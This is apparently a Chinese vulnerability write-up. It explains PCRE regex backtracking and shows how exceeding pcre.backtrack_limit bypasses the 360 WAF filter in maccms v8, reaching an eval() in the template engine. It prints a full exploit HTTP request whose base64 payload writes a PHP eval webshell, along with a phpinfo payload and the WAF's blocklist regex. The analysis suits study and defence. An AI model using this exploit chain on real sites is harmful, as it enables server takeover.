0x01 写在前面
偶然间看到了这个漏洞,利用 80w 长度的垃圾字符填充,使正则回溯次数超过一定限度,导致绕过了360 模块的防御,本文主要介绍了正则回溯以及maccms v8 80w 字符RCE的详细分析。
0x02 正则回溯
1、正则引擎
“正则回溯”中的“正则”我们都很熟悉,但是什么是回溯呢?
说回溯前,要先谈一谈正则表达式的引擎,正则引擎主要可以分为基本不同的两大类:一种是DFA(确定型有穷自动机),另一种是NFA(不确定型有穷自动机),NFA 对应的是正则表达式主导的匹配,而 DFA 对应的是文本主导的匹配。
目前使用DFA引擎的程序主要有:awk
,egrep
,flex
,lex
,MySQL
,Procmail
等;
使用传统型NFA引擎的程序主要有:GNU Emacs
,Java
,ergp
,less
,more
,.NET
,,PCRE library
,Perl
,PHP
,Python
,Ruby
,sed
,vi
;
DFA在线性时状态下执行,不要求回溯,并且其从匹配文本入手,从左到右,每个字符不会匹配两次,所以通常情况下,它的速度更快,但支持的特性很少,不支持捕获组、各种引用。
NFA则是从正则表达式入手,并且不断读入字符,尝试是否匹配当前正则,不匹配则吐出字符重新尝试,在最坏情况下,它的执行速度可能非常慢,但NFA支持更多的特性,因而绝大多数编程场景下,比如 PHP、Java,python 等,使用的都是NFA。
对于 DFA 举例如下:
引擎在扫码当前文本的时候,会记录当前有效的所有匹配可能。当引擎移动到文本的 t 时,它会在当前处理的匹配可能中添加一个潜在的可能:
接下来扫描的每个字符,都会更新当前的可能匹配序列。例如扫码到匹配文本的 J 时,有效的可能匹配变成了2个,Rose被淘汰出局。
扫描到匹配文本的 e 时,Jack也被淘汰出局,此时就只剩一个可能的匹配了。当完成后续的rry的匹配时,整个匹配完成。
对于 NFA 举例如下:
在解析器眼中DEF有四个数字位置,如下图:
对于正则表达式而言所有源字符串,都有字符和位置,且正则表达式会从0号位置逐个去匹配。
我们令匹配成功为“取得控制权”;
当正则为DEF
时,过程如下:
首先由正则表达式字符 D
取得控制权,从位置0
开始匹配,由D
来匹配D
,匹配成功,控制权交给字符 E
;由于D
已被 D
匹配,所以 E
从位置1
开始尝试匹配,由E
来匹配E
,匹配成功,控制权交给 F
;由F
来匹配F
,匹配成功。
当正则为/D\w+F/
时,过程如下:
首先由正则表达式字符/D/
取得控制权,从位置0
开始匹配,由 /D/
来匹配D
,匹配成功,控制权交给字符/\w+/
;由于D
已被/D/
匹配,所以 /\w+/
从位置1
开始尝试匹配,\w+
贪婪模式,会记录一个备选状态,默认会匹配最长字符,直接匹配到EF
,并且匹配成功,当前位置为3
。并且把控制权交给 /F/
;由 /F/
匹配失败,\w+
匹配会回溯一位,当前位置变成2
。并把控制权交给/F/
,由/F/
匹配字符F成功。
由上面可以知道,对于 DFA 而言,不管正则表达式怎么样,文本的匹配过程是一致的,都是对文本的字符依次从左到右进行匹配,NFA 对于不同但效果相同的正则表达式,匹配过程是完全不同的。
2、回溯
回到正题,现在来谈回溯。
假设字符串及其位置如下:
与上文相同,令匹配成功为“取得控制权”,如果正则表达式为:/.*?b/
那么匹配过程如下:.*?
首先取得控制权, 假设该匹配为非贪婪模式, 所以优先不匹配, 将控制权交给下一个匹配字符b
, b
在源字符串位置1匹配失败a
, 于是回溯, 将控制权交回给.*?
,这个时候, .*?
匹配一个字符a
,并再次将控制权交给b
,这样一个过程,被称之为回溯, 如此反复,最终得到匹配结果, 这个过程中一共发生了3次回溯。
3、正则回溯
在PHP的pcre扩展中,配置选项如下表所示:
名字 | 默认 | 可修改范围 | 更新日志 |
---|---|---|---|
pcre.backtrack_limit | "100000" | PHP_INI_ALL | php 5.2.0 起可用。 |
pcre.recursion_limit | "100000" | PHP_INI_ALL | php 5.2.0 起可用。 |
pcre.jit | "1" | PHP_INI_ALL | PHP 7.0.0 起可用 |
- pcre.backtrack_limit:PCRE的最大回溯数限制
- pcre.recursion_limit:PCRE的最大递归数限制
如上表所示,默认的backtarck_limit
是100000。
我们定义一个正则:/UNION.+?SELECT/is
同时要检测的文本如下:UNION/*panda*/SELECT
流程大致如下,
- 首先匹配到
UNION
-
.+?
匹配到/
- 非贪婪模式,
.+?
停止向后匹配,由S
匹配*
-
S
匹配*
失败,第一次回溯,再由.+?
匹配*
- 非贪婪模式,
.+?
停止向后匹配,再由S
匹配p
-
S
匹配p
失败,第二次回溯,再由.+?
匹配p
- 非贪婪模式,
.+?
停止向后匹配,再由S
匹配a
-
S
匹配a
失败,第三次回溯,再由.+?
匹配a
- 非贪婪模式,
.+?
停止向后匹配,再由S
匹配n
-
S
匹配n
失败,第四次回溯,再由.+?
匹配n
- 非贪婪模式,
.+?
停止向后匹配,再由S
匹配d
-
S
匹配d
失败,第五次回溯,再由.+?
匹配a
- 非贪婪模式,
.+?
停止向后匹配,再由S
匹配S
-
S
匹配S
匹配成功,继续向后,直至SELECT
匹配SELECT
成功
从上面可以看出,回溯的次数是我们可以控制的,当我们在/**/
之间写入的内容越多,那么回溯的次数也就越多,假定我们传入的字符串很多,导致回溯次数超过了pcre.backtrack_limit
的限制,那么就可能绕过这个正则表达式,从而导致绕过 waf 之类的限制。
这个问题其实在2007年的时候就有人向官网提出过:
但官网采取的整改如下:
其实python 中也存在着“limit”,但是官网解释如下:
可能没有足够的内存来构造那么大的字符串 —— so ~
0x03 maccms v8 80w 字符RCE
根据漏洞的 payload :
POST /index.php?m=vod-search HTTP/1.1
Host: xxx.xxx.xxx.xx
Content-Length: 500137
Cache-Control: max-age=0
Origin: xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: xxx.xxx.xxx.xx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_ff7f6fcad4e6116760e7b632f9614dc2=1574418087,1574670614,1574673402,1575271439; Hm_lvt_137ae1af30761db81edff2e16f0bf0f8=1574418087,1574670615,1574673402,1575275889; pgv_pvi=8322096128; PHPSESSID=pr37r8fkshd854f8fnfep4ov53; adminid=1; adminname=admin; adminlevels=b%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj; admincheck=2afdbd385cb6c2af162e6733f1b0e2d2
Connection: close
wd=union(80w个a){if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
进入 index.php
查看相关参数:
$acs = array('vod','art','map','user','gbook','comment','label');
if(in_array($ac,$acs)){
$tpl->P['module'] = $ac;
include MAC_ROOT.'/inc/module/'.$ac.'.php';
}
else{
showErr('System','未找到指定系统模块');
}
unset($par);
unset($acs);
$tpl->ifex();
确定漏洞文件在/inc/module/vod.php
中的 search 模块,其核心内容如下:
elseif($method=='search')
{
$tpl->C["siteaid"] = 15;
$wd = trim(be("all", "wd"));
$wd = chkSql($wd);
if(!empty($wd)){
$tpl->P["wd"] = $wd;
}
.....
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
$tpl->mark();
$tpl->pageshow();
be 函数主要内容如下:
function be($mode,$key,$sp=',')
{
ini_set("magic_quotes_runtime", 0);
$magicq= get_magic_quotes_gpc();
switch($mode)
{
case 'post':
$res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
break;
case 'get':
$res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
break;
case 'arr':
$arr =isset($_POST[$key]) ? $_POST[$key] : '';
if($arr==""){
$value="0";
}
else{
for($i=0;$i<count($arr);$i++){
$res=implode($sp,$arr);
}
}
break;
default:
$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
break;
}
return $res;
}
主要是对GET,POST,REQUEST接收到的参数进行addslashes的转义处理,回到vod.php
页面,在经过 Be函数处理后,再进行字符串两侧空白字符移除处理,最终传入 chkSql()
进行 360 waf 的SQL 检测模块,其函数主要内容如下:
function chkSql($s)
{
global $getfilter,$postfilter;
if(empty($s)){
return "";
}
$s = htmlspecialchars(urldecode(trim($s)));
StopAttack(1,$s,$getfilter);
StopAttack(1,$s,$postfilter);
return $s;
}
将urldecode 解码后的一些预定义的字符转换为HTML实体,再传入StopAttack()
函数,该函数主要内容如下:
function chkShow()
{
$errmsg = "<div style=\"position:fixed;top:0px;width:100%;height:100%;background-color:white;color:green;font-weight:bold;border-bottom:5px solid #999;\"><br>您的提交带有不合法参数,谢谢合作!<br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."</div>";
print $errmsg;
exit();
}
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{
$StrFiltValue=arr_foreach($StrFiltValue);
$StrFiltValue=urldecode($StrFiltValue);
if(preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
chkShow();
}
if(preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
chkShow();
}
}
对传入进的字符,进行正则匹配,正则如下:
<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover|eval)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|SELECT|UPDATE|_get|_post|_request|_cookie|_server|eval|assert|fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell_|base64_|file_|proc_|preg_|call_|ini_|php|\\{|\\}|\\(|\\\|\\)
主要问题在这一句:
UNION([\s\S]*?)SELECT
([\s\S]*?)
——匹配所有字符,且只匹配一次
但是这句话中开起来非贪婪模式,导致这段正则不断回溯,如我定义一个文本为:UNION(panda)SELECT
其匹配过程大致如下:
- 首先匹配到
UNION
- 进入子表达式检测,
[\s\S]*?
,匹配所有字符 - 懒惰模式,
*?
停止向后匹配,所以直接由S
匹配(
-
S
匹配(
失败,第一次回溯,再由*?
匹配p
- 懒惰模式,
*?
停止向后匹配,再由S
匹配a
-
S
匹配a
,第二次回溯,再由*?
匹配a
- 懒惰模式,
*?
停止向后匹配,再由S
匹配n
- ... (以此类推)
- 最终由
S
匹配到S
后,结束回溯
该过程动画如下:
所以在这里,我们就可以利用最大匹配的次数,来绕过preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1
的判断,因为超过最大匹配次数后,其返回的结果并不为 1,而是false
。
这样一来,我们就绕过了360 waf 防御模块的 chkSql()
函数检测,也就是说目前这个wd 参数我们是可控的。
回到index.php
页面,发现加载完模块后,进入了$tpl->ifex();
函数,跟进发现其核心代码如下:
function ifex()
{
if (!strpos(",".$this->H,"{if-")) { return; }
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$this->H,$iar);
...
try{
if (strpos(",".$strThen,$labelRule2)>0){
...
$ee = @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
if(!$elseifFlag){
...
@eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
...
if(!$elseifFlag){
...
@eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
...
else{
$ifFlag = false;
if (strpos(",".$strThen,$labelRule3)>0){
...
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
...
else{
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
...
}
...
该函数首先对$this->H
进行了判断,是否含有{if-
,而$this->H
在vod.php
已经定义如下:
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
该模板的应用内容在inc/common/template.php
中控制,跟踪发现即是 wd 参数控制。
回到template.php
的ifex()
函数,发现
preg_match_all($labelRule,$this->H,$iar);
该正则的主要作用是匹配出提取出来的wd参数,然后后面就是一系列的循环和判断,最终执行了 eval。
由于限制最少,所以我们选择最后一个 eval 去执行,要执行前,需要满足的条件如下:
-
$this-H
中必须有{if-
----> wd参数中带有{if-
即可 - 满足正则:
{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}
- 不满足if 判断:
strpos(",".$strThen,$labelRule2)>0
- 不满足If判断:
strpos(",".$strThen,$labelRule3)>0
这样一来就可以进入我们想要的eval 执行语句:
eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
综上,payload 如下即可满足:
{if-A:phpinfo()}{endif-A}
0x04 漏洞复现
如上所述,完整的利用链已经形成了。
首先通过正则回溯来绕过360 waf,然后通过可控参数 wd 传入我们的 payload,payload 传入$this-H
,然后绕过判断传入 eval 中执行。
如下图,如果我们不采用正则回溯的方法,那么会被拦截:
采用正则回溯,则会绕过360waf:
由于环境的问题,我这里测试 80W 字符不够,800W 也不够,于是设置了 1000W,成功绕过。
测试的时候,在 PHP 7.0 的版本下可能会出现以下问题:
或者